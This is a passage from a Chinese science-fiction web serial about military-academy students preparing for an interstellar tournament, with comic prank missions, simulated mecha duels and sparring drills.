“他们比我们更快，连三名队长都早就定好了。”白静仪想了想道：“这两所学校的人没少看新星杯，尤其是那些指挥系的学生，对我们天市星的代表队早就摸完了底，但是我们对他们的了解却不多。” “这也是没办法的事，除非让兰柏林和斯伦合并，这样也可以内部选拔了。” 白静仪冷漠道：“绝无可能，你们兰柏林的学生无组织无纪律自由散漫……” “放屁。”薛清平淡道：“你们斯伦的学生死板木讷一根筋不懂变通……” 关启山：“闭嘴。” 就在天市星这边训练得热火朝天的同时，法温莎军校的特训基地指挥室里，一名气质温润的少年正翻看着光脑上的天市星代表队的信息。 “关启山当总教官倒是有点意思。” 他语气中带着一丝愉悦的意味：“他带出来的T-34军团可以说是声名显赫，不知道带出来的学生怎么样。” 另一名略显冷酷的男生坐在一旁的沙发上，闻言掀起薄薄的眼皮：“他们这一次是用积分榜来选拔队长，目前还不能确认队长的人选，但是我们的信息估计早就在他们的参考资料里面，已经被研究烂了。” “没有关系。”闻怀玉摇了摇头，语气慢条斯理：“根据新星杯的表现，其实差不多可以列出大致人选，比如他们带队的机甲工程师肯定是赵宴月，不作他想。” “确定机甲工程师的队长人选作用不大，这个位置相比其他两个队长来说不算重要。” “理论上是这样，但对我来说没有什么重不重要的区分。” 闻怀玉说完顿了顿，而后有些若有所思：“不过这个名字有点耳熟，似乎听小叔叔提起过。” “闻执政官？”贺江山说到这也停顿了片刻，似乎想起了什么：“说起来我感觉也有点耳熟。” “是吗？”闻怀玉的目光从密密麻麻的资料里扫过，分出一丝注意力：“等我有空找小叔叔问问，他会认识一个兰柏林的学生挺奇怪的，可能有什么遗漏的信息。” 贺江山没回话，过了许久，他才稍稍坐直了点：“我想起来了，她是贺如故的朋友。” “贺如故殿下？能和他当朋友的人不多吧，况且他们也不是一个星球的人。” “他们是在三十三区的机甲工程师竞技赛上认识的。” 闻怀玉明显对贺如故去参加竞技赛的事有所了解，点了点头没再开口。 同样的讨论也发生在太微星西廷尔军校的特训基地里，法温莎和西廷尔互相之间已经研究了个七七八八，天市星最近才组好的代表队自然成了当下的热门话题。 “哎呀哎呀，别这么严肃嘛，打不过法温莎不也有天市星垫底。”面容清俊的男生眉眼弯弯地说道，笑得像只狐狸。 英姿飒爽的少女没有理他，和一旁的谢玄春严肃分析：“他们星今年没有第一时间暴露队长信息，这让我们的优势减少了。” 谢玄春摆弄着机甲零件，闻言动作没停：“没有第一时间定下队长，队长和成员间的磨合期不也变少了，不用这么焦虑。” “我也不想焦虑。” 应天悦皱了皱眉，又叹了口气：“但是今年我们太微星附属编号星上的虫潮比他们星都频繁，绝对不能拿第三。” “很有气势。”笑眯眯的少年又凑上去插话，用诗朗诵的语调道：“那就向着星辰和大海，继续努力吧。” 联赛还未开始，但是气氛已经紧张了起来，不过赵宴月对此还没什么感受。 她在重力训练场跑得气喘吁吁，脑子里已经规划起了积分该怎么赚。 除了每日基础训练成绩和教官综合评价外，其他的专项技能挑战成绩、实战模拟对抗成绩和特殊任务成绩应该才是拉开差距的大头。 专项技能自然对应各个系的专业领域，实战模拟对抗的字面意思也算容易理解，但是特殊任务成绩属实让人有点懵。 “特殊任务是什么？”赵宴月朝旁边的难兄难弟江茂茂问道。 江茂茂喘着气回：“不、不知道，等会儿去看看，不过实战模拟系统是接入了各大军校的，能匹配到其他军校的学生，听、听说还有总排行榜。” “好像有点意思，等会儿过去挨个尝尝咸淡。” 已经不知道领先他们几圈的许白亦从后面追了上来，风轻云淡道：“有志气，如果今天一整天的基础训练结束后你还有力气的话。” 第93章 一整天的训练结束, 外面的天色还不算暗，但赵宴月感觉自己整个人都像是灌了铅，训练室里更是躺倒一大片。 她推了推旁边瘫在地上宛如一条咸鱼的江茂茂, 连说话都觉得费力：“走。” “起不来了……” “我也起不来了。” “唉。” 就在这时, 所有人的光脑都同时一震。 江茂茂慢吞吞地爬起身，看了一眼后更加蔫巴了下来：“今日训练成绩单, 怎么还有这玩意儿，压力山大。” 听着周围忽然响起来的议论声，赵宴月也点开光脑查看起来。 【机甲工程系赵宴月今日训练成绩单】 每日基础训练成绩（根据完成度及效率评分）：15积分（评价：满分50积分, 菜就多练） 专项技能挑战成绩（今日武器加装限时挑战课程得分）：45积分（评价：满50积分，还有进步空间） 教官综合评价：相较其他S级精神海学生而言, 你的基础体能极差，我想不通怎么有人在经过两次七阶灵兽进化能量反哺的情况下还能菜成这样，专项技能挑战成绩不错, 继续努力, 满分10积分，你的综合评价成绩为6积分。 你的当前总积分为66积分, 专业内积分排名为第3名，总积分排名为第271名。 总教官建议：想要拿第一, 每日训练外的时间不可浪费, 你还可以通过实战模拟对抗成绩（推荐）和特殊任务成绩（不推荐）获取积分, 请注意实战模拟对抗不以系统内积分为参照, 每胜利一场可以获得5积分, 失败不扣分。 “我基础训练成绩竟然有40积分。”江茂茂眼神涣散：“不过近战格斗挑战课程成绩只有10积分……” 赵宴月冷漠地在地上翻了个身：“我和你基础训练的完成度差不多，只给了我15积分。” 果然有对比才有快乐，江茂茂一听这话爽了，表扬道：“这不咱俩基础条件不一样吗, 评分还挺人性化的。” “走吧，模拟训练中心晚上八点到早上八点开放，我们过去看看。”许白亦抬起长腿迈过躺了一地的障碍物，走到了两人的身边。 他虽然也呼吸微促，但状态明显比还在地上瘫着的赵宴月以及两腿哆嗦站着的江茂茂好得多。 “每天的基础积分拉不开差距，现在估计很多人都刷积分去了。” 赵宴月闻言也有了点紧迫感，终于从地上爬了起来，半死不活道：“他们哪来的这么多精力。” 江茂茂跟着附和：“这模拟训练中心的开放时间好险恶，不摆明了不让人睡觉吗？” 赵宴月：“我还没吃饭……” 两根营养剂适时递到了眼前，许白亦体贴道：“晚饭我给你们带了。” 江茂茂沉默地接过：“确认为营养剂激推哈。” “怎么会？”许白亦讶异道：“营养剂狗都不爱吃，我去食堂吃的正经饭，这是给你们带的。” “……” 赵宴月和江茂茂叼着狗都不爱吃的营养剂眼泪汪汪，两人拖着沉重的步伐跟在许白亦后面，朝着模拟训练中心挪过去。 巨大的模拟训练中心内这个点人头攒动，实战模拟训练区像是网吧单间一样，一扇扇门都关着，安安静静的。 人最多的地方是模拟训练中心的大厅，上面挂着一个巨大的光屏，光屏旁边还有个十分耀眼的灯牌。 闪烁着七彩跑马灯效果的灯牌和周围的环境有些格格不入，上面写着“特殊任务栏——校长专供版”。 在光屏旁围观的学生十分多，传来一阵阵议论声和笑声。 相比起现在还摊在训练室里的学生，这些人一看就是并没有被基础训练折磨得太狠的优秀生。 “我建议把特殊任务栏改名成‘校长记仇本’，谁支持谁反对？” “校长他老人家看不惯的人可真多啊，这简直就是借着任务栏公报私仇。” “像是校长喝多了发的任务，梦到哪句写哪句。” “怎么还有净化任务啊，我们这里是兰柏林，不是圣芙尔净化学院。” “这个让我们去偷对面斯伦军校校长裤衩的任务不更荒谬吗，还指定了得是紫色我真服了……” 听到讨论的三人对视一眼，立马使出吃奶的劲挤了进去，这才终于看清了光屏上的字。 标题赫然是几个花里胡哨的艺术字：校长的友谊小船（翻船版）任务清单。 下面滚动着一排排的新任务，看起来数量非常多，有种任君挑选的意思。 【温暖的关怀】任务介绍：取得斯伦军校校长周明远先生的紫色裤衩，并在他的心爱小烟斗底部刻上“兰柏林到此一游”，任务积分：1000（温馨提示：任务目标脾气古板，实力强横，务必小心行事） 【无声的挑衅】任务介绍：混进17日晚玻娅区市长府举办的慈善晚宴，走到市长面前比出大拇指向下的姿势，同时说出“你府上的安保水平是这个”，任务积分：500（温馨提示：本任务难点在于如何混入市长府，任务目标性格温和，无需害怕被打） 【历史的回响】任务介绍：在星网公开历史档案馆中，找到T-24军团指挥官苍嘉致将军年轻时在酒吧与人斗殴并被治安拘留的记录截图，实名发送至苍嘉致将军的公开信箱，任务积分：800（温馨提示：任务目标睚眦必报，任务结束后务必注意自己的人身安全） 【精神的抚慰】任务目标：为玻娅区历史博物馆副馆长慎修平进行精神海净化，任务积分：666（温馨提示：唉，他是我的好朋友，本任务强烈推荐！拜托拜托~） …… 请注意：本任务栏所有任务都可于光脑上接取，接取任务后自由选择任务时间，确认时间后布灵灵将即刻抵达进行任务监督。 （温馨提示：没有人可以在本校长的任务栏底下浑水摸鱼） “……校长是要把玻娅区的大佬都得罪个遍吗？”江茂茂乐不可支，“这也太夹带私货了吧。” 许白亦看了看任务又看了眼赵宴月，深感赞同：“这也太夹带私货了吧。” 赵宴月点点头，无力道：“这也太夹带私货了吧。” 周围的学生身边现在已经人手一只布灵灵，赵宴月觉得兰柏林的学生真是充满了作死精神。 不仅有不少人都接了任务不说，看这架势他们是今晚就打算行动。 赵宴月叹了口气，十分服老：“我的长枪被大雨磨钝了，我的战马也生锈了，我真没力气接任务了……” 江茂茂：“我想回去睡觉……” “睡什么睡！你这个年纪这么睡得着觉的！”周围有学生接话，她说完还热情地看了过来，眼睛亮得像个500w的灯泡。 江茂茂顿时肃然起敬：“你一点也不累吗？有什么秘诀可以分享吗？” 旁边的人顿时长吁短叹：“这你就不懂了吧，人在干坏事的时候是不会觉得累的。” “……” 许白亦将无语的两人从人群中拽出来，拖向了实战模拟区：“身体可以没力气，精神不会没力气，你们得跟上大部队的节奏才行。” 他将赵宴月和江茂茂推进房间，然后又一手提起一个地将人扔进单人模拟舱。 在盖上模拟舱的盖子之前，许白亦想了想又对江茂茂激励道：“睡觉是留给死人的，加油训练。” 江茂茂：“……确认为激进派哈。” 赵宴月此时已经十分主动地自己拉上了头顶的盖子，让许白亦欣慰极了。 她的身体确实疲惫，但是大脑也确实还处在活跃状态，有种明明很困但是完全不想睡觉的割裂感。 难怪实战模拟训练是晚上八点到早上八点开放，既让身体得到了休息，精神上也没闲着，真是一点时间都不浪费。 赵宴月注册完账号登上模拟舱后，意识刚沉入虚拟空间，一个系统面板便出现在眼前。 【联邦军校联合实战模拟系统使用须知】 模式一：荣耀角斗场 形式：1v1机甲对战 匹配机制：随机匹配或对指定ID发送对战申请 积分：胜利增加50积分，失败扣除50积分，每场连胜有5%积分的额外加成，每日积分加成封顶1000。 模式二：无尽虫潮 形式：大地图团队生存对抗 组队机制：可自由组队或随机分配 积分：系统将根据生存时间、击杀贡献、任务完成度、团队协作等因素进行综合评定。 请注意，因技术力限制，被系统模拟的虫族单位无污染设定，请勿对现实虫族的危险性形成错误认知。 赵宴月仔细看了看两个模式，先点进了看着更加简单的荣耀角斗场。 角斗场界面里还有个十分显眼的排行榜——荣耀角斗场今日积分总排行榜TOP100。 NO.1楼下都是菜鸡——所属军校：法温莎军校，胜率：98.7%，当前积分：9820 NO.2连胜中断我这辈子都不会原谅你——所属军校：西廷尔军校，胜率：97.1%，当前积分：8980 NO.3求求你们别凹分了——所属军校：兰柏林军校，胜率：96.5%，当前积分：8235 …… NO.99为什么积分加成封顶1000——所属军校：法温莎军校，胜率：100%，当前积分：7000 NO.100六百六十六你们都不睡觉的吗——所属军校：斯伦军校，胜率：88.7%，当前积分：6771 赵宴月看着排行榜上的积分数字瞳孔地震。 按照最快五分钟一把来计算，第一名的9820积分就算减去1000积分的加成，粗略估计打到这个分数也得15个小时。 再加上失败的场次，消耗时间不止五分钟的场次……和全天无休基本没差。 这也太极限了，赵宴月一感叹完就兴致勃勃地点击了开始匹配。 [检测到用户为新注册用户，暂无数据记录，本次匹配将采取随机匹配机制，之后会为您匹配实力相当的用户] [匹配成功] [你本场比赛的对手是：楼下都是菜鸡——所属军校：法温莎军校] 好眼熟的ID，好像在哪里见过。 而另一边已经杀疯了的“楼下都是菜鸡”看着匹配到的ID也陷入了沉思。 [你本场比赛的对手是：姐就是女王自信放光芒——所属军校：兰柏林军校] 打到他这个阶段，能匹配到的ID基本都眼熟，但这次匹配到的ID他竟然从未见过。 不管了，看看实力。 第94章 匹配成功后还有个准备阶段, 可以自由为机甲选择武器，看着和换装页面似的。 选好武器点击“装备”后，武器就能直接出现在机甲上, 加装武器的速度比现实中的机甲工程师快得多。 赵宴月换了好几次武器, 没有哪一把武器看着有能带她赢的实力，只能忧愁地叹了口气。 对手是排行榜榜一, 不出意外是21阶封顶的S级机甲尖兵，这逆天的匹配机制怎么玩。 赵宴月坐进驾驶座挥了挥刚装备的巨锤，思考了一会儿后放出精神力去拆武器, 眼前不一会儿便弹出了“武器已拆除”的弹窗。 竟然可以拆。 可惜在没有引导棒的情况下，她只能拆自己机甲上的武器。 等等, 赵宴月的目光看向武器栏里的自定义选项。 [用户您好，自定义武器可分配点数为100点，点数配置不均衡的武器在使用过程中有分解隐患] [在火力数值设置过高、射击速度过快、武器硬度不足等情况下都会造成武器解体, 推荐使用系统现有武器] [是否选择自定义武器] 看对面一直处于“武器选择中”的状态, “楼下都是菜鸡”有些不耐烦地啧了一声。 等银白色的机甲终于出现在战场上后，一台配备着超大型速射粒子枪的机甲立马压了过来, 显然是走高速爆发秒杀的路线。 高速移动下机甲的身形变得模糊不清，如同鬼魅般在巨大的风化岩柱间高速穿梭, 速射粒子枪精准地点射, 压制着赵宴月的走位。 赵宴月进来才发现1v1的荣耀角斗场不是擂台形式, 她一边闪躲一边观察着周围, 顺便疯狂开大阻止对面靠近的脚步。 这里到处都是巨大的风化岩柱, 可以用来躲避的物体非常多，只要躲得够快就不至于开局被秒。 “楼下都是菜鸡”被天上铺天盖地砸下来的黑红色爆炸火球拖住了脚步，搞不懂对面走的什么路子。 系统提示他机甲“装甲值”正在下降，但等对面消耗完这一波, 显然就是直接躺平任人宰割。 果然，不出一会儿，震耳欲聋的像放鞭炮一样的爆炸声停歇了下来。 [蓝条已无法支持释放技能‘流星天火’] 赵宴月看了眼系统提示，大型改装版金属引导棒在手里转了一圈，然后猛地燃起黑红火焰，像是打高尔夫似的击碎岩柱。 巨大的岩石碎块在天上划出一道残影，直直地朝对面砸去。 “选了这么久的武器最后就选了一根棍子？” 话音一落，千丝万缕的细雨无声地射出，将巨石分解成小小的碎块，噼里啪啦地坠落。 看着毫无威胁性的细密雨线击碎了岩石，和超大型速射粒子枪射出的子弹一起直逼后方的赵宴月。 “你管我呢。” 赵宴月借着风化岩柱躲避，但仍有残余的雨线穿透岩柱刺进了机甲，让装甲值下降了一截。 “谁管你了，我才懒得管你。” 对面的语气很是悠闲，但是动作并没有停。 他速度骤然提升到极致，绕过一根巨大岩柱，挥来的拳头带着撕裂空气的尖啸，直刺赵宴月驾驶舱的位置。 “结束了，菜鸡。” 赵宴月的眼睛倏然冒出红光：“直视我，崽种。” 她从开局就在尝试对对面释放小六的技能，但是小六只有进化态四阶，对面状态足够好的情况下每次放技能都是“miss”。 所以她一开始疯狂开大只是奔着削弱对方“装甲值”的目的而去，从没想过能用大招把他干掉。 暗红的丝线直接缠绕上机甲驾驶舱里坐着的男生，一股难以言喻的虚弱感猛地从身体深处爆发出来，仿佛生命力被强行抽走。 他眼前一黑，手指操控都出现了一丝迟滞，原本完美流畅的刺杀动作瞬间变形迟滞。 “这是什么东西！好像有鬼在吸我寿命！” “技能啊。” 赵宴月趁此机会抓住变得迟钝了不少的机甲猛打，精神力透过引导棒去尝试去拆对面的武器，一边还贴心地安慰道：“没有吸你寿命的功能哈。” 对面的实力越强，精神力补充的速度就越快，虚脱的debuff维持的时间就越短。 现在能回复的精神力上限只有50%，赵宴月深知时间紧迫，刚回复的精神力又被她拿来疯狂开大。 虽然中了虚弱debuff，但“楼下只是菜鸡”并不是毫无还手之力，只不过整个人变得疲倦，导致是操控机甲的反应迟钝了不少。 归根究底机甲本身的硬实力还在，他暂时放弃了和赵宴月纠缠，也疯狂开技能击碎了天上又开始狂轰乱炸的黑红火弹。 赵宴月在纷纷扬扬的碎块中追着对面打，拿着金属棒疯狂敲击前面机甲装备了粒子枪的手臂。 会动的机甲还是太考验操作了。 如果说安静状态下拆卸武器的难度是拿线穿过绣花针的细小针眼，那现在就是得了帕金森之后再去穿针眼。 男生有些破防的声音从前方传来：“你哪来的那么多精神力开大？你怎么有两个技能？” “你管我呢。” “谁管你了，我才懒得……” 他话还没说完，身上缠绕的缕缕暗红丝线眨眼间消失，身体的疲惫感忽然一扫而空，思维和反应速度又重回巅峰。 男生敏锐察觉到技能时间已经结束，他猛地一转身，重新向赵宴月逼近。 “你完了，技能多也不顶用，扣分去吧你。” 机甲逼近的身影在瞳孔里放大，赵宴月一动不动，所有注意力汇聚到引导棒上。 在粒子枪对准她的前一秒，用精神力挑断了粒子炮和机甲连接的最后一根脉络。 “轰”的一声，超大型粒子炮砸落在地上，激起一阵尘土。 楼下都是菜鸡：“……？” 气氛一时间都安静了下来，只有赵宴月发出了反派的专属笑声，拿着手里附着着黑红火焰的引导棒就冲了上去。 “扣分去吧你。” 对面反应过来后徒手和赵宴月打了起来，他机甲本身的强度远超赵宴月的机甲，纯靠自身实力也并没有处于下风。 两具机甲的装甲值都开始火速下降，赵宴月看着自己飞速下降的装甲值无动于衷，知道对方早就被折腾得残血了。 这波优势在她。 双方揪住机会按着对方就是一顿猛打，像是有什么深仇大恨似的，嘴巴上也没忘了展开攻击。 “你这人怎么这么邪门，能不能光明正大地打一架！” “你管我呢！” “谁管你了，我……” “怎么又是这句，听得耳朵起茧了。” “这不是你先说的吗！” “那咋了！扣分去吧你！菜鸡！” “你叫什么名字！你给我等着！” “姐就是女王！听见没有！姐就是女王！菜鸡！” “你、你你你这个混蛋！” “你你你，你这个结巴。” 在装甲值下降到2%的时候，系统提示姗姗来迟地弹了出来。 [Victory！] [积分＋50] 赵宴月退回匹配页面，也是长长吐出一口气，心跳还跳得有些快。 这是她第一次在人身上用小六的生机汲取，对付这种级别的机甲尖兵，debuff的效果时间比她预想的还要短很多。 她这边一套又一套的招式下去，还是在对方对自己的技能毫无了解的情况下，打了个出其不意的效果，最后也堪堪以2%的装甲值险胜。 精神海里，小六“卡卡卡卡卡卡”地叫着，打断了赵宴月的思绪。 “五阶了？” “卡卡卡卡。” “那进化材料也是时候提上日程了。” 另一边的“楼下都是菜鸡”推开模拟舱的盖，气得直接坐了起来。 贺江山和闻怀玉此时正坐在旁边吃饭，见他一脸被气死的表情挑了挑眉。 闻怀玉放下筷子，又喝了口茶水，这才开口问道：“怎么了这是？” “她简直就是个混蛋！打得好好的她拆我武器！还说我是结巴！” 贺江山不冷不热地看了他一眼：“你不能拆回去吗？你搞搞清楚，你也是机甲工程师。” “这么高难度的操作我哪会，再说了我也没引导棒。”霍珺从模拟舱里爬了出来，在饭桌边坐下掰开筷子就开吃：“你又不是不知道，我当初纯属填错了志愿。” 闻怀玉笑了一声，然后问道：“所以是谁赢了你？说出来我听听。” “不知道，兰柏林的。”霍珺摇了摇头，“她有两个技能，有一个特别邪门，中了之后像是压了五百斤石头在身上，整个人都虚了。” 两个技能。 这个描述和直接念人身份证也没区别了。 贺江山看着他干饭，声音冷淡道：“没事多上网冲冲浪吧，天天泡在模拟舱里也不是个事。” 霍珺咽下嘴里的饭菜，迷茫抬头：“啊？是谁啊？你们认识？很出名吗？” “没事。”闻怀玉打开光脑，“和我复盘一下你刚才那局。” 另一边的赵宴月并不知道有人在研究自己，她此时已经找到了新大陆。 她带着她的自定义武器狂点匹配，在荣耀角斗场杀疯了。 胜利一场五积分、胜利一场五积分、胜利一场五积分…… 受害者一：“我武器怎么掉了！” 赵某月：“不知道，扣分去吧你。” 受害者二：“你不讲武德！” 赵某月：“你管我呢，你也扣分去吧你。” 受害者三：“这是什么操作啊，这公平吗！” 赵某月：“那你来有本事来拆我的，扣分去吧你。” 受害者N：“&*%&￥%8E￥SD#……” 赵某月：“扣分去吧你。” 直到早上八点模拟舱自动关停，赵宴月才脑袋发晕两眼发黑地从模拟舱爬了出来。 江茂茂看她这模样吓了一跳：“你真打了一晚上？我好歹还睡了四小时。” 许白亦已经吃完早餐，他兜里揣着两根营养剂走了进来，见状也是一愣：“你……” 赵宴月止住了许白亦的话头，将光脑投射的虚拟屏分享给两人，十分做作地开口：“请看大屏幕。” [当前总积分：286积分，专业内积分排名：第1名，总积分排名：第37名] 江茂茂眼睛都张大了，倒吸一口凉气道：“286分！太强了吧。” “害。”赵宴月打了个哈欠，故作谦虚地摆摆手：“也就那样吧。” 许白亦：“所以今天的训练怎么办？” 赵宴月脸上的笑容戛然而止：“完了，太上头了……忘了还有这回事了。” 走到训练场的时候，学生们基本都到了，正趁着关启山不在聊得热火朝天。 “你怎么鼻青脸肿的？” “唉，我昨晚不是去偷裤衩了吗，被周校长打得好惨！” “你怎么眼圈发黑？” “唉，那个苍嘉致将军年轻时在酒吧与人斗殴并被治安拘留的记录截图，说是在星网公开历史档案馆里，我找了一晚上也没找到啊，老师教的搜集资料的108种方法我都用遍了！” “你怎么无精打采？” “唉，昨晚……” “你又接的什么任务？” “我没接任务！昨晚我在匹配荣耀角斗场，遇到个比我菜得多的菜鸡，结果她把我武器卸了，这场输得我一晚上没睡着觉！” “你也遇到了？我也是！” 两个挂着黑眼圈的人对视一眼，相同的遭遇让他们瞬间拉近距离，你一言我一语地蛐蛐起来。 许白亦和江茂茂也沉默地对视了一眼，不约而同地看向了眼下同样挂着两个黑眼圈的赵宴月。 不知什么时候站在了几人身边的司焕跟着看了过去，在看见一脸萎靡的赵宴月后好像猜到了什么。 他稍稍挑眉，凑过去问道：“你也被气得睡不着觉？” 许白亦：“显然不是。” 赵宴月骄傲挺直腰板：“我气得别人睡不着觉。” 司焕：“我猜也是。” 第95章 “全体都有！立正！” 总教官的声音一响起, 众人迅速列队站好。 刚完成每天必备的重力跑，学生们全都在大喘气，累得不轻。 关启山穿梭在队伍中, 目光扫过其中几张格外半死不活的年轻脸庞：“看来不少人昨晚都没怎么休息, 都在努力赚基础训练之外的积分，很有上进心。” 话是这么说, 但是他的语气却听不出到底是满意还是不满意。 关启山说话间已经重新转到最前方：“那我现在也给你们一个赚积分的机会，从现在开始进行1v1实战技巧对战，赢一局加五积分, 输一局扣五积分，非机甲对战点到为止, 让对手背部着地就算胜利，有谁想来先示范一下吗？” 话音一落，立马有学生举手问道：“示范加积分吗？” 关启山闻言看过去, 不咸不淡道：“很好, 看来已经有同学跃跃欲试了，不加, 你上来。” 其他人见状顿时哄笑成一团。 被点名的男生根本不在意其他人笑他，自己笑容明媚地站到了总教官身边：“和谁打都行, 反正我超强。” “自己挑。” 秦烨闻言一愣, 然后笑容更加灿烂起来, 十分欠揍道：“那我挑工程系的也行吗教官？” “站好。” 关启山随手将手里的棍子抽在他站没站相的小腿上, 实打实的一抽却让男生脸色都没变, 脸上还是一副春光灿烂的模样。 总教官的回答也出乎众人意料：“自由挑选，不限专业。” 这句话话音一落，原本还乐呵呵吃瓜看戏的工程系学生手里的瓜都掉了，脸上的笑容一秒僵硬。 众所周知, 笑容不会消失，只会转移，真正吃瓜看戏的机甲尖兵系睁大了眼，而后顿时大声笑了起来。 他们的目光毫不掩饰地扫向人数稀少的机甲工程系方阵，眼神里带着点跃跃欲试的想要捏软柿子的光芒。 工程系仅有的24个学生瞬间感觉后背发凉，从没想过平时一直肩负着保护工程师责任的机甲尖兵们会为了积分连脸都不要了。 “怎么可以这样！”工程系有学生大声抗议，“我们本来就是文科生，怎么可以和我们打！” “哎呀哎呀，我们尖兵系积分竞争太激烈了，你们就让让我们吧。” “就是就是，你们少五积分没什么，我们少五积分排名掉老多了。” “太过分了太过分了！这还有道德吗！这还有法律吗！” 关启山看够了热闹，开口压下了所有议论：“上了战场没人会管你是文科武科，在特训基地，对指挥和工程师的要求绝不会因为你们的专业放低，没有实力就扣分，就这么简单。” 他声音并不大，说的话扎得人清醒又憋屈，训练场顿时一片寂静。 工程系的学生们感受到秦烨挑选的目光，知道他是真打算挑他们系的学生下手，一个个恨不得原地消失。 五积分对于他们工程系来说也很难赚的好不好。 实战模拟打不过，特殊任务更是没招，每天就指望着基础训练多赚点积分。 就在这时，不知道是谁先动的脚，二十几道身影不约而同地、极其默契地向后缩了一步，齐刷刷地躲到了一个人身后。 感受到前方的掩体消失，赵宴月抬起头，嘴里还咬着之前从司焕那乞讨来的包子。 关启山温和地朝她笑了笑：“吃早餐扣10积分。” “……” 秦烨的目光也顺势定格在赵宴月身上，他咧嘴一笑：“教官，我挑战她。” 无数道目光瞬间聚焦在赵宴月身上，充满了好奇、探究、同情以及一丝看好戏的兴奋。 这下除了死道友不死贫道的工程系心虚得不敢说话，整个训练场都响起了议论声。 “是赵宴月诶！就是那个发表天火狼完整进化链的！” “我知道，热心市民赵某月嘛。” “她就是X-4018队的，新星杯最后几天杀了不少S级虫族最后逆袭进前十的队伍。” “你要说这个我可不困了，不知道他们精神海污染到什么程度了，40%？50%？” “不知道，这谁说得准，不过赵宴月的精神海污染程度肯定比许白亦严重。” “她看起来怎么蔫蔫的？难道昨晚也去偷紫裤衩了？” “小声些，偷裤衩难道很光彩吗。” 议论声嗡嗡作响，赵宴月这个名字不管是兰柏林还是斯伦的学生，几乎人人都听过。 但对大部分学生而言，她更像一个符号，一个只存在于光脑新闻和论坛热帖里的名字。 此刻真人站在眼前，眼下还带着两个熬夜熬出来的硕大黑眼圈，那层神秘光环瞬间碎了一地，变得异常接地气。 赵宴月忧愁地叹了口气，被赶鸭子上架般迈着沉重的步伐走上对站台，在秦烨对面站定。 关启山站在两人中间，再次强调道：“再说一遍，点到为止，对手背部着地就算胜利，开始！” 话音一落，秦烨如同猎豹般几步拉近距离，右拳带着破风声直捣赵宴月中路。 赵宴月抬手格挡，拳拳到肉的碰撞发出沉闷的响声。 对面的力量巨大，拳头上就好像包裹了水泥一样，震得赵宴月手臂发麻，整个人“噔噔噔”连退好几步才勉强稳住身形。 秦烨对工程系的水平早有预估，对此毫不意外，他攻势更猛，拳、肘、膝如同狂风暴雨般袭来，力量沉猛，角度刁钻。 不出一会儿，秦烨一记的侧踢后接上过肩摔，将赵宴月结结实实地砸到了地上。 许白亦倒吸一口凉气，感觉这种画面自己实在有点承受不来。 江茂茂疑惑地看了他一眼，不觉得这种程度的对战有什么好紧张的，只当他身体不舒服，关心道：“怎么了？” “……没事。” “停！”关启山适时开口。 秦烨收势站在原地，微微喘息着看着趴在地上的赵宴月，感觉自己赢得毫无成就感，甚至还有点欺负人的感觉。 下次还是对指挥系下手好了，他们倒数第二菜。 赵宴月缓了几秒才撑着坐起来，揉了揉被震得生疼的手臂和摔疼的屁股，又打了个哈欠，整个人都抑郁了。 手臂上缠着的青藤似乎也被砸了一下，它从袖口探出头对着秦烨“嘶”了一声，可惜存在感太弱，除了赵宴月没人注意到。 不管是身体强度还是机甲尖兵们日复一日训练出来的战斗技巧，都让这场对战一开始就变成了根本没有悬念的对局。 机甲尖兵系的同学不但没嘲讽赵宴月，反而哈哈大笑地嘲讽起了秦烨。 “笑死，你还真挑战机甲工程系啊。” 秦烨：“那你挑战我。” “那算了。” 工程系的同学们呼啦一下围了上来，七手八脚地把赵宴月扶起来，拍灰的拍灰，递水的递水，关切之情溢于言表。 “赵同学，你没事吧？” “摔疼了没有？” “快起来快起来！” 赵宴月冷漠地喝了几口水：“真关心我的话，下次挨打的事自己上好吗？” “这哪行这哪行。” “使不得使不得。” 工程系同学们闻言纷纷摇头摆手，变脸速度快到让人觉得地狱空荡荡恶魔在人间。 赵宴月冷笑一声：“笑死，躲得过初一躲不过十五，你们马上就要被打了。” 话音一落，马上就有学生围了过来，原先还嘲讽秦烨的尖兵系学生们扭头就纷纷向工程系的学生们发起挑战。 工程系：“……” 工程系的学生手快有手慢无，没抢到工程系的尖兵们只能郁闷地将矛头指向指挥系。 倒是斯伦的机甲尖兵系学生明显看不惯也做不出这种事，冷着一张脸和自己系的同学发起了挑战。 趁着休息间隙，赵宴月靠墙坐着，拿出光脑飞快地给柏慈发信息。 赵宴月：我需要幽冥兰、蚀骨花和一颗S级晶源。 柏慈：好的。 赵宴月：什么时候能给我。 柏慈：想拿到S级晶源最快的方法是我去一趟边缘星。 赵宴月：现杀吗。 柏慈：这样最快。 赵宴月：行，我还需要一把加装到机甲上的定制武器，具体资料发你了。 柏慈：好的，在我离开期间，殿下不要单独出特训基地。 柏慈：殿下不回话是有什么心事吗。 赵宴月：知道了，不出行了吧。 柏慈：好的。 今天的训练结束后，整个工程系学生的积分平均倒扣100分，有的学生的积分已经成了负数。 机甲尖兵系的学生们红光满面，工程系的学生们一脸绝望，指挥系的学生们不管是输是赢都格外喜怒不形于色。 “今天的训练到此为止，成绩稍后会发到你们邮箱。” 学生们一听这话唉声叹气，关启山目光扫过全场，拍了拍手道：“是不是厌倦了单调的训练？” 这话哪有人敢说是，学生们稀稀拉拉地拖长音道：“没有——” “想不想让机甲尖兵系的学生感受一下你们今天的憋屈？” 被扣分扣得最惨的工程系学生面面相觑，一听这话顿时来劲道：“想！” “很好，那明天在黑石山进行阵营战，解散之前大家先抽取自己的阵营和身份。” “阵营分为红蓝绿三个阵营，每个阵营100人，阵营战持续期间，除必要灵兽口粮外，任何食物、营养剂、能量补给品，一律不准携带，在我没有公布规则前，抽到的身份最好不要告诉和你不是同阵营的好朋友。” “抽完的同学可以解散了。” 关启山说完拍拍屁股走了，而本来已经瘫成烂泥的学生又像是被打了肾上腺素一样支棱了起来。 “先不说能不能让机甲尖兵系吃瘪，黑石山上除了石头就是毒虫还不准带吃的，关教官是要玩死我们吗……” “阵营战我倒是听懂了，这么还要抽身份，狼人杀？大逃杀？” “我看是荒野求生。” “你别说，我抽到的身份真的是狼。” “不是说让你别告诉别人？” “……一时嘴快。” “你抽到的是什么？” “现在就打听消息是吧，我们可不是一个阵营的。” “我和你这么多年的兄弟，我都告诉你了……” “滚。” 哀嚎声、抱怨声、担忧的议论声交织在一起，又夹杂着一些兴奋的情绪，学生们显然已经被关启山拿捏得死死的。 赵宴月看着光脑上的抽卡界面，眨了眨眼按下按钮。 一张红色的卡牌从卡池中出现，而后又缓缓翻转，变成一个动物图案。 [你的阵营是：红队阵营，你的身份是……] 好简约的介绍，一点多余的信息都没给。 江茂茂凑过来询问道：“小赵小赵，你是什么阵营？” 